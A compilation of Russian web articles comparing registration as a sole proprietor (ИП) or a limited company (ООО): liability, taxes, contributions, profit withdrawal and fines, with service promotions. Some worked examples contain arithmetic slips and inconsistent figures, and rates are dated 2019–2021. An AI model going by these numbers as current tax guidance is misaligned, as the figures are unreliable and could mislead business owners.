Почему ооо лучше чем ип: ИП и ООО — что лучше выбрать, отличия, плюсы и минусы — СКБ Контур

Содержание

Что открыть для розничной торговли: ИП или ООО

Собираетесь открыть розничный магазин, но так и не определились как зарегистрироваться? Это понятно: мнений много и они кардинально противоположные. Одни хвалят ИП, потому что это просто и удобно, другие настаивают на ООО, потому что это солидно и престижно. 

Мы подготовили подробную статью, в которой объяснили разницу между ИП и ООО, наглядно показали отличия, преимущества и недостатки и привели таблицу. Давайте разберемся с некоторыми моментами прямо сейчас:

  1. Гражданин РФ имеет право зарегистрироваться как индивидуальный предприниматель и вести коммерческую деятельность с целью получения прибыли. Ведет деятельность сам, на свой страх и риск. Не является юридическим лицом.
  2. В отличие от ИП, ООО — хозяйствующий объект со статусом юридического лица. В его деятельности могут участвовать до 50 физических и/или юридических лиц. Для открытия нужен уставной капитал. Каждый участник получает дивиденды. Все учредители отвечают за негативные последствия деятельности компании в пределах суммы своего вклада в уставной капитал.
  3. ИП может работать на патентной системе и открыть магазин площадью до 50 м2. Но не получится продавать алкоголь — запрещено законом именно для этой формы предпринимательской деятельности. Зато можно не вести бухгалтерский учет и как угодно распоряжаться прибылью.
  4. Для ООО нет ограничений по направлениям деятельности. Зато сложный бухучет, налог на прибыль и размер штрафов выше, чем у ИП, да и чтобы вывести прибыль нужно выработать законную схему. На это уходят время, силы и зарплата толковому бухгалтеру.

У нас есть отдельные статьи на эту тему:

"Что открыть: ИП или ООО. Самая важная статья для начинающего предпринимателя".

"Минусы ИП и ООО: о чём важно знать, выбирая форму собственности, чтобы не усложнить себе жизнь".

Выбираем форму собственности: "сравнительная таблица ИП и ООО от экспертов по регистрации бизнеса

ООО — солидно. ИП — выгодно и намного проще.

Обычно именно такие ярлыки бизнесмены навешивают этим двум формам предпринимательской деятельности. А потом начинаются проблемы:

  • выбрали ООО — придётся тщательно вести бухучёт, иначе налоговая накажет. Да и платежей намного больше, чем у предпринимателя, можно запутаться и получить штраф, если работать без толкового бухгалтера;
  • выбрали ИП — платим страховые взносы даже за тот период, когда уезжаем в отпуск. Недоступны некоторые виды деятельности, например, продажа алкоголя (кроме пива).

Какую форму собственности лучше выбрать для розничного магазина?

В статье отвечаем на этот вопрос, а также помогаем вам:

  • разобраться в теории и узнать, что такое ООО и ИП с точки зрения законодательства;
  • понять разницу между ИП и ООО;
  • определиться с подходящей формой предпринимательской деятельности.

Плюсы и минусы форм собственности свели в таблицу, чтобы было проще увидеть отличия, сравнить варианты и сделать выводы.

Что лучше открыть: ИП или ООО? Разберемся с понятиями

В соответствии с ГК РФ, аббревиатура ООО расшифровывается как «общество с ограниченной ответственностью». Но учтите, что сегодня ответственность за долги может понести директор и даже бухгалтер (это показала судебная практика), поэтому нужно внимательно составлять уставные документы.

Согласно законодательству, ООО — хозяйствующий объект с такими характеристиками:

  • есть статус юридического лица;
  • участвуют от 1 до 50 физических и/или юридических лиц;
  • есть уставной капитал, который разделен на доли между участниками;
  • каждый участник оказывает влияние на управление объектом в зависимости от размера доли;
  • участник получает дивиденды — прибыль от хозяйственной активности ООО;
  • при наличии убытков учредители отвечают за негативные последствия активности ООО в пределах суммы своего вклада в уставной капитал. Исключение — банкротство компании, когда на участников возлагается дополнительная ответственность по долгам юридического лица.

Индивидуальный предприниматель — гражданин, который зарегистрировался как субъект предпринимательской деятельности.

ИП не является юридическим лицом, но имеет такие же права и обязанности, потому что ведет хозяйственные операции с целью получить прибыль. Действует самостоятельно на свой страх и риск.

На первый взгляд форма ИП кажется более простой и не вызывающей доверия у серьезных игроков рынка розничной торговли. Не спешите делать выводы.

Не можете разобраться в деталях? Доверьте это Фингуру

Давайте посмотрим, чем ИП и ООО отличаются друг от друга. Мы выбрали 12 ключевых критериев, чтобы вы могли принять взвешенное решение.

ИП и ООО: сводная таблица отличий форм деятельности в 2019 году

Специально для предпринимателей, которые планируют открытие розничного магазина, мы разработали бесплатный email-курс «Как открыть розничный магазин: пошаговое руководство».

Как видите, есть достаточно много различий. Поэтому при открытии розничного магазина обдумайте, какой вариант вам подходит. В этом вам помогут 2 таблицы — читайте дальше.

ИП и ООО: наглядно о плюсах и минусах

Вы ознакомились с особенностями двух форм ведения бизнеса. Какая из них лучше подойдет для розничного магазина? Давайте посмотрим на плюсы и минусы ИП и ООО в таблице, чтобы вы могли принять взвешенное решение.

Больше 4 лет избавляем предпринимателей от бумажной рутины и последствий неправильно заполненных документов, а также экономим 2 дня на поездках в налоговую — каждый день регистрируем новую компанию. Хотите, чтобы следующей была ваша?

Еще 4 важных нюанса деятельности ИП и ООО:

  1. Фиксированные взносы — главный минус ИП? Это одно из самых распространенных мнений. Но подумайте о другой стороне: страховые взносы — это не налоги, а отчисления на медицинскую страховку и будущую пенсию. Даже если в ООО только один участник — ему все равно необходимо начислять заработную плату и делать из нее все отчисления. При минимальной зарплате они будут почти такими же, как фиксированные взносы ИП.
  2. Еще одна приятная новость: индивидуальный предприниматель без сотрудников может уменьшать исчисленный налог на всю сумму внесенных им фиксированных взносов. В случае ООО и ИП с сотрудниками это возможно только на 50%, но в большинстве случаев в денежном эквиваленте эти 50% больше, чем 100% у ИП, работающего в одиночку.
  3. Относительно отчетности и найма сотрудников:
    все зависит исключительно от системы налогообложения, а не от организационно-правовой формы. Например, если применяется ОСНО, ООО будет платить налог на прибыль, а ИП — НДФЛ. Отчетность по этим налогам будет разной. При этом отчетность за работников у них всегда одинаковая.
  4. В остальном деятельность ИП и ООО ничем не отличается. Оформлять наемных работников, а также соблюдать их права должны все организационно-правовые формы, в соответствии с ТК РФ. Контрагенты в равной степени охотно работают как с ИП, так и с ООО, главное — выполнение договоренностей.

Что выбрали для своего розничного магазина?

Как видите, у обоих вариантов есть плюсы и недостатки. Неправильный выбор чреват такими последствиями:

  • не сможете вести выбранную деятельность, как в случае ИП и продажи алкоголя;
  • придётся вести бухучет, которого можно было избежать, зарегистрировав ИП;
  • если в вашем бизнесе есть сезонность и вы зарегистрировались как ИП, будете платить взносы даже во время неоплачиваемого отпуска, хотя этого можно было избежать;
  • если планируете регулярно выводить прибыль, в случае с ООО будет много заморочек.

Поэтому важно с самого начала сделать правильный выбор.

Мы проводим бесплатные консультации, на которых помогаем выбрать оптимальную форму собственности с учетом нюансов вашего розничного бизнеса. Запишитесь на консультацию — специалисты «Фингуру» помогут определиться и зарегистрировать компанию!


ООО или ИП - как лучше зарегистрировать бизнес

В среде начинающих предпринимателей принято думать, что индивидуальное предпринимательство — более простой способ вести бизнес законно. Однако тут все не так просто — недостатки есть у обеих форм предпринимательства — как у ООО, так и у ИП. В этой статье разберем их подробнее.

Что такое ООО и ИП

ООО — это общество с ограниченной ответственностью. Оно может быть основано одним или несколькими учредителями. В качестве учредителей могут выступать физические или юридические лица.

ИП — индивидуальное предпринимательство. Его может основать один человек — физическое лицо. Если вы, например, хотите открыть дело вместе с друзьями и заверить это официально, ИП вам не подойдет — у этой формы бизнеса владелец может быть только один.

Теперь давайте сравним ООО и ИП по основным критериям, на которых нужно основывать свой выбор формы предпринимательства.

Ответственность компании

Понятие ответственности компании состоит из двух частей:

Общая ответственность — это ответственность перед вашими контрагентами, то есть перед поставщиками, покупателями, инвесторами и так далее.

Налоговая ответственность — о ней речь идет, если у вас возникли проблемы с выплатой налогов, страховых взносов и так далее.

Что касается обязательств перед контрагентами, то по закону ООО отвечает перед ними своим имуществом — всем, которое есть на балансе. Чем больше имущества у ООО, тем больший у него размер общей ответственности.

Индивидуальный предприниматель отвечает перед контрагентами своим личным имуществом, которое в предпринимательской деятельности не задействовано. Например, если предприниматель обанкротился, за долги у него могут отнять его квартиру, машину или наследство от бабушки. В случае с ООО такого быть не может.

Налоговую ответственность с 2016 года уравняли для ООО и ИП. Теперь при возникновении долгов руководитель ООО или индивидуальный предприниматель отвечают одинаково.

Системы налогообложения

ООО может применять все системы налогообложения. ИП может применять все системы налогообложения, а также патентную систему. Эта система разработана специально для индивидуальных предпринимателей.

Возможность долевого участия

Если вы ведете бизнес самостоятельно, то вам подойдет любая форма предпринимательства. Но если вы планируете привлечь партнеров для долевых вложений и получения долевой прибыли в будущем, лучше открыть ООО. В ИП партнерство не предусмотрено. Об этом говорит само название — “индивидуальное предпринимательство”.

Внимание ФНС (федеральной налоговой службы)

Многие почему-то думают, что к ИП налоговая присматривается меньше, но это не так. Когда сотрудники ведомства выбирают субъект для проверки, они рассматривают какие угодно критерии, но не то, является ли компания ООО или ИП.

Отношение банков

Этот пункт стал важным, когда в силу вступил закон, регулирующий контроль обналичивания денег со стороны банков. Банки держат на контроле выведение прибыли и у ИП, и у ООО.

Однако к индивидуальным предпринимателям внимание у банков чуть больше, потому что почти все цепочки по выводу денег заканчиваются на ИП, когда индивидуальный предприниматель просто снимает деньги с расчетного счета.

Распоряжение средствами на счетах

Здесь разница между ООО и ИП существенная. В случае с ООО деньги на счете компании являются собственностью компании. В случае с ИП — они принадлежат самому индивидуальному предпринимателю. Это значит, что руководитель ООО не может просто так снять деньги компании со счета. По закону они могут быть обналичены только при уплате налога — до 13%. Второй вариант — строить легальные, но сложные схемы для вывода денег.

Индивидуальные предприниматели могут свободно распоряжаться деньгами и не платить за это дополнительных налогов. Но поскольку снятие наличности происходит через банки, а банки более внимательно присматриваются к ИП, то у индивидуального предпринимателя могут запросить информацию о деньгах, которые он хочет вывести — откуда они пришли, почему снимаются и так далее.

Предпочтения рынка

Здесь роль играет менталитет людей. Еще из 90-х годов в сознании многих россиян укоренилась мысль, что ООО — это серьезная организация, а ИП — мелкий бизнес, которому не всегда можно доверять.

Многие до сих пор представляют себе индивидуальных предпринимателей примерно так.

Но на самом деле уже много лет дело обстоит не так Сейчас есть как ненадежные ООО, так и ответственные и законопослушные ИП. Однако при заключении договоров с партнерами вы можете столкнуться с мнением из 90-х — при выборе формы предпринимательской деятельности будьте к этому готовы.

Также разница между ООО и ИП может быть не в пользу ИП, если ваш заказчик или покупатель переводит вам деньги за товары или услуги. Если вы индивидуальный предприниматель, то банки будут внимательнее присматриваться к такому переводу от ООО, чтобы исключить возможность обналичивания денег ООО через ИП — такая схема очень распространена.

В связи с этим у участников сделки с ООО могут блокировать счета и платежи, запрашивать договора и другими способами мешать вести дела. Чтобы избежать таких проблем, ваши потенциальные партнеры-ООО могут отказать вам в заключении сделки, если вы индивидуальный предприниматель.

Бухгалтерский учет

Ведение бухгалтерского учета для ООО обязательно и довольно сложно. Нужно проводить все сделки через бухгалтерию, а в конце года сдавать учет. Многие средние и крупные компании нанимают для этого бухгалтеров на аутсорсе или содержат свои бухгалтерские отделы.

Индивидуальный предприниматель не обязан вести бухгалтерию. А если вы на упрощенной системе налогообложения, то с документами вам еще проще. Но бухгалтерский учет не надо путать с налоговым — его ИП должны вести так же, как и ООО, то есть платить налоги и сдавать декларации.

Что выбрать: ООО или ИП

На первый взгляд кажется, что открытие ИП проще, понятнее и больше подходит для начинающих предпринимателей. В целом так оно и есть. Но чтобы потом не пришлось жалеть о своем выборе, хорошо подумайте, как будет развиваться ваша компания, с кем она будет сотрудничать, какой будет ее специфика, как она будет получать и извлекать прибыль. На старте бизнеса нужно семь раз подумать и один раз сделать. Впрочем, это правило касается всех этапов ведения предпринимательства.

Вконтакте

Facebook

Twitter

Что лучше открыть ИП или ООО в 2021 году?

Posted On 25 мая, 2021

После того как вы решили открыть бизнес встает вопрос, что же открыть — ИП или ООО. На чашу весов встает — простота ведения и открытия бизнеса, сумма налогов и взносов, а самое главное — прибыль от деятельности, которую можно потратить на личные нужды.

ИП и ООО очень сильно различаются, а потому нельзя однозначно сказать, что лучше. Все это индивидуально — и зависит от деятельности, которую вы выбрали в качестве ведения дела и ваших планов на бизнес — привлечения работников, инвесторов и т.д. В этой статье я расскажу вам об отличиях ИП и ООО, что бы вы смогли принять решение для себя.

Что открыть ИП или ООО. Главные отличия

ИП — Индивидуальный Предприниматель — это физическое лицо, зарегистрированное в установленном законом порядке и осуществляющее предпринимательскую деятельность без образования юридического лица. Любой дееспособный гражданин РФ может зарегистрировать ИП.

ООО — Общество с Ограниченной Ответственностью — это учреждение, организованное одним или несколькими юридическими или физическими лицами. Лица открывшие ООО — учредители. В ООО есть уставной капитал, который разделен на доли его участников.

Получается что ИП — это физическое лицо,  а ООО — это учреждение. В связи с этим имеется множество различий в ведении, ответственности, отчетности и других аспектах деятельности организации.

Если коротко — то главными отличиями являются:

  1. Имущественная ответственность у ИП выше.
  2. У ИП есть ряд ограничений на виды деятельности.
  3. Патент может быть использован только ИП.
  4. Пакет документов для регистрации у ИП гораздо меньше.
  5. У ИП нет проблем с регистрацией своего бизнеса — он всегда регистрируется по месту прописки физического лица.
  6. Отчетности у ИП без работников, меньше чем у ООО.
  7. ИП обязан платить страховые взносы за себя, а ООО нет.
  8. Вывести деньги из бизнеса ИП гораздо проще.
  9. ООО может зарегистрировать бизнес на несколько участников одновременно.
  10. ООО может привлекать дополнительных инвесторов с свое дело.
  11. Административная и налоговая ответственность у ИП ниже.
  12. Закрыть ИП проще.

Далее мы более детально рассмотрим каждый из этих пунктов.

Имущественная ответственность на ИП и ООО

Так как ИП — это не учреждение, а физическое лицо, осуществляющее предпринимательскую деятельность — в случае образования долгов, отвечать он будет своим личным имуществом.

ООО — является учреждением, при открытии формируется уставной капитал организации (мин. 10 000 ₽) — поэтому участники общества несут риски только в пределах доли уставного капитала, но только до тех пор, пока общество не находится в стадии банкротства.

При банкротстве общества, участники несут субсидиарную ответственность по долгам общества, своим личным имуществом.

Субсидиарная ответственность — это право взыскания долга с другого обязанного лица. Т.е. при возникновении долга в организации, ответственность падает на само учреждение, а не на его участников. Но если организация не смогла расплатиться с долгами — деньгами или своим имуществом, то суд может наложить ответственность на участников компании. Это спорный вопрос, при котором будут учитываться аспекты — кто принимал решение повлекшее возникновение долга, было ли это намеренным действием и т.д.

Но не стоит доводить до таких последствий и рисковать чужими деньгами, в надежде на то, что учредителя могут не призвать к ответственности. Будьте ответственными и порядочными.

Есть имущество, которое не могут отобрать в счет уплаты долга у ИП или участников ООО — это единственное жилье, предметы личного пользования, и т.д. Полный перечень смотрите в ст. 446 ГПК РФ — Имущество, на которое не может быть обращено взыскание по исполнительным документам.

Ограничения на виды деятельности

У ИП есть ряд ограничений на виды деятельности. Многие из 99-ФЗ о лицензировании отдельных видов деятельности — недопустимы для ИП. Такие, как:

  • Ломбарды.
  • Производство и продажа алкоголя (ИП может продавать только пиво).
  • Банковская деятельность.
  • Производство лекарственных препаратов.
  • Страховая деятельность и т.д.

У ООО нет ограничений на виды деятельности. Можете выбрать любой вид деятельности из ОКВЭД. 

ОКВЭД — это общероссийский классификатор видов экономической деятельности.

Виды налогообложения на ИП и ООО. Льготы.

В 2021 году существует 4 вида налогообложения:

  • ОСНО — общая система налогообложения.
  • УСН — упрощенная система налогообложения (упрощенка).
  • ЕСХН — единый сельскохозяйственный налог.
  • Патент — патентная система налогообложения.

Патент могут использовать только Индивидуальные Предприниматели. 

Патент — это система налогообложения, предполагающая освобождение от налога на прибыль, имущественного налога и НДС. Вы платите только фиксированную сумму за патент. Виды деятельности, по которым можно выбрать данную систему налогообложения устанавливаются в каждом субъекте РФ отдельно. Более подробно о патенте читайте в статье Системы налогообложения для ИП — подробный разбор.

Остальные системы могут использовать как ИП, так и ООО.

На ИП также есть возможность применять льготную ставку налогообложения согласно  пункту 4 статьи 346.20 НК РФ.Налоговые ставки — это своего рода “налоговые каникулы”. 

Налоговые каникулы в 2021 году — дают возможность не платить налоги в течение 2 лет.

Воспользоваться “налоговыми каникулами” можно в регионах, где законом установлено применение льготной ставки в размере 0%.  Льгота распространяется только на впервые зарегистрированные ИП, применяющие УСН или ПСН и осуществляющие деятельность в производственной, социальной и (или) научной сферах, а также в сфере бытовых услуг населению. При этом доля доходов данных видов деятельности (по которым применяется льготная ставка) должна быть не меньше 70% от общего дохода.

Возможность применять налоговые каникулы есть только у ИП . Остальные льготы, применяются в зависимости от выбранного налогообложения равноправно на ИП и ООО, например, на ОСНО есть возможность применять льготную ставку на прибыль — согласно статье 284. Налоговые ставки — устанавливается субъектами РФ.

Что проще и выгоднее открыть — ИП или ООО

Регистрация ИП гораздо проще и дешевле, чем регистрация ООО:

  • ИП зарегистрировано на одно физическое лицо, поэтому и документы нужны только от одного лица, в отличие от ООО, в котором может быть несколько учредителей (до 50 физических или юридических лиц).
  • Госпошлина за регистрацию ИП 800 ₽, а за регистрацию ООО 4 000 ₽. С 01.01.2019 года госпошлину можно не платить, при условии подачи документов в электронном виде, с подписью ЭЦП (электронно-цифровая подпись).
  • При регистрации ООО учредители обязаны внести уставной капитал в течение 4-рех месяцев. Минимальный взнос в уставной капитал составляет 10 000 ₽.

Документы необходимые для регистрации ИП и ООО при личном обращении в ФНС:

ИПООО
  • Паспорт
  • ИНН
  • Заявление на регистрацию ИП по форме Р21001
  • Квитанция, подтверждающая оплату госпошлины
  • Решение или протокол о создании общества
  • Заявление на регистрацию ООО по форме Р11001
  • Устав ООО
  • Квитанция, подтверждающая оплату госпошлины
  • Копия договора аренды помещения (гарантийное письмо) или свидетельство о праве собственности

Юридический адрес ИП и ООО

Индивидуальный предприниматель регистрируется по месту своей прописки. В этом есть как плюсы — не надо арендовать помещение и платить за него, так и минусы — если вы прописаны на Камчатке, а работать планируете в Москве — зарегистрированы вы будете у себя на Родине. И для регистрации вам нужно будет или лететь в родные края или зарегистрироваться удаленно, с помощью эл. подписи, представителя или отправлять документы по почте, предварительно заверив свою подпись у нотариуса.

Но осуществлять деятельность можно на всей территории РФ, без открытия обособленного подразделения, в отличии от ООО.

Обособленное подразделение — это предприятие, от вашей организации, которое находится отдаленно от основной компании и оборудованное рабочими местами.

ООО может зарегистрировать юридический адрес:

  • В собственном нежилом помещении.
  • В арендованном помещении.
  • По месту прописки учредителя (с долей собственности не менее 50%) или директора, с гарантийным письмом от собственника жилища, что он не имеет возражений.
  • Также можно купить адрес для регистрации в специализированных фирмах.

При выборе юридического адреса учитывайте, что ваша организация действительно должна находиться по данному адресу. Так как на этот адрес вам будет направляться корреспонденция от налоговой — требования, уведомления о вызове, запрос документов. И если вы их проигнорируете, это может вызвать негативные последствия.

После регистрации налоговая обычно проверяет нахождение организации по месту регистрации и если вас там не обнаружат, выпишут штраф от 5 000 ₽. В зависимости от обстоятельств (смотрите ст. 14.25 КоАП РФ пункт 3,4) и могут поднять вопрос о ликвидации ООО, если вы не исправите ситуацию.

Да, и на всякий случай — налоговая всегда проверяет наличие таблички с наименованием вашей организации. Так что распечатайте на листе бумаге, вырежьте и повесьте на дверь), чтобы при проверке они были довольны).

У нас в офисе зарегистрировано несколько организаций и вот уже несколько сотрудников ФНС приходили проверять нахождение той или иной организации… я каждый раз немного волнуюсь при этом…)) И вот при первой проверке мы не повесили табличку на дверь кабинета, но попался добрый инспектор, который отметил у себя в акте проверке, что табличка есть, при условии, что мы в этот же день устраним данный недочет. Желаю и вам лояльных и добрых инспекторов)

Налоги и отчетность

Ставка налогов зависит от выбранного налогообложения, а не от выбора организационно-правовой формы. Единственное отличие в налогах есть на ОСНО — вместо налога на прибыль 20% ИП платит НДФЛ 13%.

Ну и выше я уже говорила, что ПСН (Патент) может использовать только ИП.

Подробнее по налогам и видам налогообложения читайте в статье Системы налогообложения для ИП — подробный разбор.

Что касается отчетности — у ИП ее немного меньше:

  • ИП не нужно сдавать и вести бух. отчетность.
  • Если на ИП нет работников, то он освобожден от сдачи ежемесячной отчетности в ПФР и от остальных (квартальных и годовых) отчетов связанных со страховыми взносами (4 ФСС, 6 НДФЛ, РСВ), так как ИП не платит сам себе заработную плату.

А вот ООО, даже если на нем нет сотрудников, кроме директора, все эти отчеты сдавать обязан, даже при отсутствии деятельности (нулевые отчеты).

Страховые взносы за себя и работников

Что касается страховых взносов за работников — тут нет разницы открыли вы ИП или ООО, ставки на взносы одинаковые:

  • 22%  от суммы заработной платы — на взносы обязательного пенсионного страхования (ОПС).
  • 5,1% от заработной платы — на обязательное медицинское страхование (ОМС).
  • 2,9% от заработной платы — на обязательное социальное страхование на случай временной нетрудоспособности и в связи с материнством.
  • От 0,2 до 8,5% от заработной платы — на страхование по травматизму и профзаболеваниям. Ставка зависит от класса профессионального риска. Устанавливается ежегодно на основании вашего основного вида деятельности.

Но на ИП вы еще будете обязаны платить обязательные фиксированные взносы за себя.  В 2020 фиксированные взносы за себя составляют:

  • Страховые взносы на обязательное пенсионное страхование (ОПС) — 32 448 ₽.
  • Страховые взносы на обязательное медицинское страхование (ОМС) -  8 426 ₽.

Общая сумма фиксированных взносов ИП в 2021 году составляет 40 874 ₽

Помимо этого, если доход за год превышает 300 тыс. ₽, предприниматель обязан уплатить на ОПС еще дополнительно 1% с суммы дохода, превышающего этот предел, но не более 8-ми кратной фиксированной суммы.

Т.е. если ваш доход за год составил 500 000 ₽, значит помимо фиксированных взносов, необходимо будет заплатить дополнительный взнос ОПС 2 000 ₽:

(500 000 — 300 000) х 1% = 2 000

Взносы платятся независимо от того есть у вас доход или нет!

А на ООО в случае отсутствия деятельности никакие взносы платить не нужно. Только не забудьте отправлять в налоговую нулевые отчеты и написать заявление на отпуск за свой счет, на этот срок.

Вывод денег из бизнеса ИП и ООО

Целью создания бизнеса является независимость (от начальства) и увеличение собственного дохода. Но для того чтобы тратить доход на личные нужды, необходимо вывести деньги из бизнеса.

Все деньги, которые заработал ИП — его собственные и могут быть в любой момент изъяты из кассы в виде наличных средств или перевода безналичных на свой счет в банке.  Никаких дополнительных налогов платить не нужно. Единственно банк может взять свою комиссию.

А вот доход ООО принадлежит организации, а не ее участникам, даже если он один. Поэтому просто перевести деньги на свой счет или изъять наличные деньги вы не имеете права.

Вывести деньги из бизнеса законным путем можно:

  • Выплатив себе заработную плату , с которой необходимо перечислить налог 13 % НДФЛ (при этом придется еще начислить и выплатить страховые взносы).
  • Выплатить дивиденды учредителю, которые также облагаются НДФЛ 13%.

Дивиденды — это чистая прибыли организации, которая ежегодно распределяется между учредителями.

Чистая прибыль — это доход организации, который остается после уплаты всех налогов, взносов, заработной платы и других обязательств.

Некоторые организации пытаются вывести деньги незаконным путем — заключают фиктивные договора, для вывода денег, или делают займы от организации физ. лицу — который не собираются отдавать. Но это все чревато последствиями.

В случае с фиктивным договором опасность заключается не только в проверке налоговой, но также банки стараются пресекать подобного рода сделки и могут заблокировать ваш счет в случае подозрения незаконного вывода денег.

А по поводу займов — вы будете обязаны ежемесячно рассчитывать и удерживать НДФЛ с  материальной выгоды, с получателя займа. А в случае если человек, на кого оформлен займ, не является сотрудником организации, вам необходимо будет уведомлять налоговую о невозможности удержания НДФЛ. Тогда налоговая займется им сама.

Поэтому давайте использовать только законные пути вывода денег. Что касается заработной платы, то с нее необходимо начислять и выплачивать страховые взносы, а это аж 30 % от суммы з.п. Это много, поэтому основную часть прибыли ООО выводят через дивиденды. (Но все же зарплату платить придется. На ООО обязательно должен быть хоть один сотрудник — директор. Которому необходимо платить зарплату, а с нее и страховые взносы).

Пример расчета прибыли при выводе денег на ИП и ООО

Давайте разберем на примере, сколько можно вывести денег при равных условиях на ИП и ООО:

Представим что ИП без работников и ООО с одним работником — директором и учредителем в одном лице заработали за год 1 млн ₽ Система налогообложения УСН 6%. А хозяйственных затрат они понесли 100 тыс. ₽.

ИП выведет себе в карман — 840 000 ₽.

Расчет: 1 000 000 — 100 000 — 40 874 — 19 126 = 840 000

Расшифровка:

Хозяйственные нужды (для примера) = 100 000 ₽.

Обязательные страховые взносы за себя = 40 874 ₽.

Налог 6% = 19 126 ₽ .

Расчет налога: 1 000 000 ₽ * 6% = 60 000. По закону ИП без работников может уменьшить сумму налога на страховые взносы до 100 % (при условии что они выплачены в расчетном периоде). Получается:

60 000 — 40 874 = 219 126

На ООО при этих же условиях вы заберете — 718 972,25 ₽.

Из них 592 335,05 в виде дивидендов и 126 637,20 заработная плата директору.

Расшифровка:

Хозяйственные нужды (для примера) = 100 000 ₽.

Налог 6 % =  30 000 ₽ .

Расчет налога: 1 000 000 ₽ * 6% = 60 000. ООО может уменьшить сумму налога на сумму страховых взносов (при условии оплаты их в расчетном периоде), но не более чем 50%. Получается:

60 000 — 50% (т.к. сумма взносов больше чем 50% налога) = 30 000

Заработная плата директору за год — 145 560 ₽ (из расчета по МРОТ. МРОТ в 2020 равен 12 130 ₽)  из них НДФЛ 18 922,80 ₽, т.е. на руки вы получите 126 637,20 ₽

Страховые взносы с заработной платы за год = 43 959,12 ₽

145 560 * 30,2% (при условии что взносы на травматизм у вас минимальны) = 43 959,12

Для расчета дивидендов нам необходимо определить сумму чистой прибыли, для этого необходимо с дохода отнять все затраты.

Расчет чистой прибыли: 1 000 000 — 100 000 — 30 000 — 145 560 — 43 595,12 = 680 844,88

Налог на дивиденды 13% = 88 509,83

680 844,88 * 13% = 88 509,83

Расчет дивидендов: 680 844,88 — 88 509,83= 592 335,05

Разница в сумме выведенных средств получается 121 027,75 ₽

Эту разницу можно сократить за счет уменьшения заработной платы директору, а точнее, уменьшение суммы страховых взносов. Вы можете оформить трудовой договор с директором на 0,25 ставки. Это законно. Хотя налоговая может придраться, но если вы сможете обосновать, что действительно на работу тратите не более 2 часов день (10 часов в неделю), то они не смогут заставить вас платить больше заработную плату.

Такое решение уже сэкономит вам 32 605,34 ₽.

(12 130 * 0,25 * 12) * 30,2% = 10 989,78 ₽ страховых взносов, вместо 43 595,12

Партнерство, престиж и репутация

Партнерство — совместная деятельность.

Если вы планируете открыть бизнес самостоятельно, без партнеров, то нет разницы откроете вы ИП или ООО.

Но если вы с друзьями собрались вести дело, то открыв ИП, у вас не будет равноправия, так как все дело будет оформлено только на того, на кого вы зарегистрируете ИП. Он один будет нести ответственность и руководить компанией, в том числе и в финансовых вопросах. Ваши договоренности будут держаться только на словах.

В этом случае лучше открыть ООО и разделить его доли — на равные части или как вам будет удобно. Все учредители будут официально зарегистрированы, у каждого будут равные права и ответственность также будет делиться поровну. В случае чего, каждый учредитель может в любой момент выйти из дела продав свою долю его же участникам или стороннему лицу.

Что касается престижа и репутации. Есть мнение, что ИП это не так серьезно и престижно и что ООО не любят с ними сотрудничать. Здесь сложно опровергнуть или принять эту точку зрения, статистики на этот счет нет. Могу лишь сказать, что ООО часто не сотрудничают с ИП, из-за отсутствия НДС. Предприниматели чаще всего предпочитают работать с упрощенным налогообложением. А компании, которые являются плательщиками НДС, стремятся работать с организациями на ОСНО из экономических соображений.

Стоит ли из-за этого открывать ООО на ОСНО? Однозначно нет! Отталкивайтесь от вашей ситуации и вашей деятельности, выбор налогообложения очень важен, от него зависят ваши расходы в бюджет. И различаться они могут в разы, в зависимости от системы налогообложения.

См. Системы налогообложения для ИП — подробный разбор.

Привлечение инвестиций

Привлечение инвестиций, это дополнительное преимущество у ООО. Если вы открываете дело, но не имеете необходимой суммы для его старта, вы всегда можете обратиться к инвесторам — ваша идея + их финансы могут быть отличным союзом. Многие крупные организации используют инвесторов. Ведь чем крупнее бизнес, тем больше он требует средств на модернизацию, а в условиях конкуренции всегда приходится бороться за клиентов и улучшать свой продукт.

Но не забывайте, что инвестиции и благотворительность — разные вещи. Инвесторы за вложение своих средств попросят свою долю — бизнеса и прибыли. Поэтому решение принимайте взвешенно — возможно есть способ не делиться своим бизнесом, а например, взять кредит.

У ИП не может быть совладельцев бизнеса — мы об этом говорили в разделе Партнерство. Оформить часть доли ИП не представляется возможным. ИП открывается на 1 физическое лицо, поэтому все взносы в бизнес ИП могут быть только в виде займов и кредитов.

Административная и налоговая ответственность на ИП и ООО. Штрафы

ИП и ООО несут разную административную ответственность. При регистрации, ИП не получает статус юридического лица, в отличие от ООО. Согласно КоАП РФ Статья 2.4. Административная ответственность должностных лиц — индивидуальные предприниматели, совершившие административное правонарушение, несут административную ответственность как должностные лица, если настоящим Кодексом не установлено иное. А штрафы у должностного лица в разы меньше, чем у юридического. Например:

При этом, при административном правонарушении на ООО может быть назначено 2 штрафа — на само юридическое лицо и на должностное (бухгалтера, директора — того, кто это правонарушение допустил или совершил).

Что касается налоговых правонарушений, то за не вовремя отправленную декларацию или недоплаченные налоги и сборы ИП и ООО платят одинаковые штрафы. Но вот если сумма неуплаченных налогов превышает определенный порог, то одними штрафами вы можете не отделаться. Неуплата налогов в крупном и особо крупном размере — может привести к лишению свободы.

Причем на ООО более строгое наказание. И также на ООО есть риск попасть под определение — деяние, совершенное группой лиц по предварительному сговору, так как в организации может быть несколько учредителей.

На ИП крупным размером считается неуплата налогов за последние 3 года в размере более 900 тыс. ₽. На ООО крупный размер неуплаченных взносов начинается от 5 млн ₽, за последние 3 года. На ИП и ООО данный вид правонарушения регламентируется разными статьями:

Неуплатой налогов, считается не только прямая неуплата сумм по декларации, но и также выявление нарушений в заполнении декларации, которое может обнаружиться в ходе камеральной или выездной налоговой проверки, может послужить поводом для доначисления вам налогов и пеней. И если сумма превысит порог “крупного размера”, то налоговая может обвинить вас в подаче заведомо ложных сведений и передать эти данные в надлежащие инстанции.

Камеральная налоговая проверка — контроль за соблюдением налогоплательщиками законодательства о налогах и сборах, путем проверки по месту нахождения налогового органа налоговых деклараций, которые предоставил налогоплательщик. Регламентируется ст. 88 НК РФ. Камеральная налоговая проверка.

Выездная налоговая проверка — проводится на территории налогоплательщика. См. ст. 89 НК РФ. Выездная налоговая проверка.

Закрытие ИП и Ликвидация ООО

Процедура закрытия ИП гораздо проще, чем ликвидация ООО.

Для закрытия ИП вам понадобится:

Чтобы ликвидировать ООО необходимо:

  1. Принять решение о ликвидации, общим собранием участников. Создать ликвидационную комиссию и назначить ответственное лицо (ликвидатор). С момента назначения ликвидатора, к нему переходят все полномочия по управлению делами юридического лица.
  2. В течение 3 дней после принятия решения, предоставить в ФНС уведомление по форме Р15001.
